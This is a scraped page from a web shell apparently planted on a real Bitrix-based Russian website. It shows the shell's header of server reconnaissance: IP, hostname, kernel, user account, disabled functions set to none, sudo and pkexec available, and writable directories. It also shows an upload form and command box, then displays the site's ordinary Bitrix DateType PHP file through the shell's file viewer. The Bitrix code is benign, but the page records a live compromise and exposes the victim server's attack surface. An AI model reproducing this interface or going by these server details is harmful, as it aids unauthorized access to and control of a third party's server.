403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/userfield/types/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/userfield/types/datetype.php
<?php

namespace Bitrix\Main\UserField\Types;

use Bitrix\Main;
use Bitrix\Main\Context;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Text\HtmlFilter;
use Bitrix\Main\Type;
use CDatabase;
use CLang;
use CUserTypeManager;

Loc::loadMessages(__FILE__);

/**
 * Class DateType
 * @package Bitrix\Main\UserField\Types
 */
class DateType extends BaseType
{
	public const
		USER_TYPE_ID = 'date',
		RENDER_COMPONENT = 'bitrix:main.field.date';

	public const
		TYPE_NONE = 'NONE',
		TYPE_FIXED = 'FIXED',
		TYPE_NOW = 'NOW';

	public const
		FORMAT_TYPE_FULL = 'FULL',
		FORMAT_TYPE_SHORT = 'SHORT';

	/**
	 * @return array
	 */
	public static function getDescription(): array
	{
		return [
			'DESCRIPTION' => Loc::getMessage('USER_TYPE_D_DESCRIPTION'),
			'BASE_TYPE' => CUserTypeManager::BASE_TYPE_DATETIME,
		];
	}

	/**
	 * @return string
	 */
	public static function getDbColumnType(): string
	{
		$connection = \Bitrix\Main\Application::getConnection();
		$helper = $connection->getSqlHelper();
		return $helper->getColumnTypeByField(new \Bitrix\Main\ORM\Fields\DateField('x'));
	}

	/**
	 * @param array $userField
	 * @return array
	 */
	public static function prepareSettings(array $userField): array
	{
		$def = ($userField['SETTINGS']['DEFAULT_VALUE'] ?? null);
		$value = '';

		if(!is_array($def))
		{
			$def = ['TYPE' => static::TYPE_NONE, 'VALUE' => $value];
		}
		elseif(isset($def['TYPE']) && $def['TYPE'] === static::TYPE_FIXED)
		{
			$dateObject = \DateTime::createFromFormat('Y-m-d', $def['VALUE']);
			if (!$dateObject || $dateObject->format('Y-m-d') !== $def['VALUE'])
			{
				$def['VALUE'] = CDatabase::FormatDate(
					$def['VALUE'],
					CLang::GetDateFormat(static::FORMAT_TYPE_SHORT),
					'YYYY-MM-DD'
				);
			}
		}
		elseif(isset($def['TYPE']) && $def['TYPE'] === static::TYPE_NOW)
		{
			$def['VALUE'] = $value;
		}
		else
		{
			$def = ['TYPE' => static::TYPE_NONE, 'VALUE' => $value];
		}

		return [
			'DEFAULT_VALUE' => $def,
		];
	}

	/**
	 * @param array|null $userField
	 * @param array $additionalParameters
	 * @return array
	 */
	public static function getFilterData(?array $userField, array $additionalParameters): array
	{
		return [
			'id' => $additionalParameters['ID'],
			'name' => $additionalParameters['NAME'],
			'type' => 'date'
		];
	}

	/**
	 * @param array $userField
	 * @param string|array $value
	 * @return array
	 */
	public static function checkFields(array $userField, $value): array
	{
		$msg = [];
		if(is_string($value) && $value !== '' && !Type\Date::isCorrect($value))
		{
			$msg[] = [
				'id' => $userField['FIELD_NAME'],
				'text' => Loc::getMessage('USER_TYPE_D_ERROR',
					[
						'#FIELD_NAME#' => HtmlFilter::encode(
							$userField['EDIT_FORM_LABEL'] !== ''
								? $userField['EDIT_FORM_LABEL']
								: $userField['FIELD_NAME']
						),
					]
				),
			];
		}
		return $msg;
	}

	/**
	 * @param array $userField
	 * @param array $fetched
	 * @return string
	 * @throws Main\ObjectException
	 */
	public static function onAfterFetch(array $userField, array $fetched): string
	{
		$value = $fetched['VALUE'];

		if($userField['MULTIPLE'] === 'Y' && !($value instanceof Type\Date))
		{
			try
			{
				//try new independent date format
				$value = new Type\Date(
					$value,
					\Bitrix\Main\UserFieldTable::MULTIPLE_DATE_FORMAT
				);
			} catch(Main\ObjectException $e)
			{
				// try site format (sometimes it can be full site format)
				try
				{
					$value = new Type\Date($value);
				} catch(Main\ObjectException $e)
				{
					$value = new Type\Date($value, Type\DateTime::getFormat());
				}
			}
		}

		return (string)$value;
	}

	/**
	 * @param array|null $userField
	 * @param $value
	 * @return Type\Date
	 * @throws Main\ObjectException
	 */
	public static function onBeforeSave(?array $userField, $value)
	{
		if($value != '' && !($value instanceof Type\Date))
		{
			// try both site's format - short and full
			try
			{
				$value = new Type\Date($value);
			} catch(Main\ObjectException $e)
			{
				$value = new Type\Date($value, Type\DateTime::getFormat());
			}
		}

		return $value;
	}

	/**
	 * @param array|null $userField
	 * @param string $fieldName
	 * @return string
	 */
	public static function formatField(?array $userField, string $fieldName): string
	{
		global $DB;

		return $fieldName . ', ' . $DB->DateToCharFunction($fieldName, static::FORMAT_TYPE_SHORT);
	}

	/**
	 * @param array $userField
	 * @param array $additionalParameters
	 * @return mixed
	 */
	public static function getDefaultValue(array $userField, array $additionalParameters = [])
	{
		$userField['ENTITY_VALUE_ID'] = 0;
		$value = static::getFieldValue($userField, $additionalParameters);
		return ($userField['MULTIPLE'] === 'Y' ? [$value] : $value);
	}

	/**
	 * @param array $userField
	 * @param array $additionalParameters
	 * @return mixed
	 */
	public static function getFieldValue(array $userField, array $additionalParameters = [])
	{
		$bVarsFromForm = ($additionalParameters['bVarsFromForm'] ?? false);
		if(!$bVarsFromForm)
		{
			if(
				isset($userField['ENTITY_VALUE_ID'])
				&& $userField['ENTITY_VALUE_ID'] <= 0
			)
			{
				if($userField['SETTINGS']['DEFAULT_VALUE']['TYPE'] === self::TYPE_NOW)
				{
					$value = \ConvertTimeStamp(time(), self::FORMAT_TYPE_SHORT);
				}
				else
				{
					$value = \CDatabase::formatDate(
						$userField['SETTINGS']['DEFAULT_VALUE']['VALUE'],
						'YYYY-MM-DD',
						\CLang::getDateFormat(self::FORMAT_TYPE_SHORT)
					);
				}
			} else {
				$value = $userField['VALUE'] ?? null;
			}
		}
		elseif(isset($additionalParameters['VALUE']))
		{
			$value = $additionalParameters['VALUE'];
		}
		else
		{
			$value = Context::getCurrent()->getRequest()->get($userField['FIELD_NAME']);
		}

		return $value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit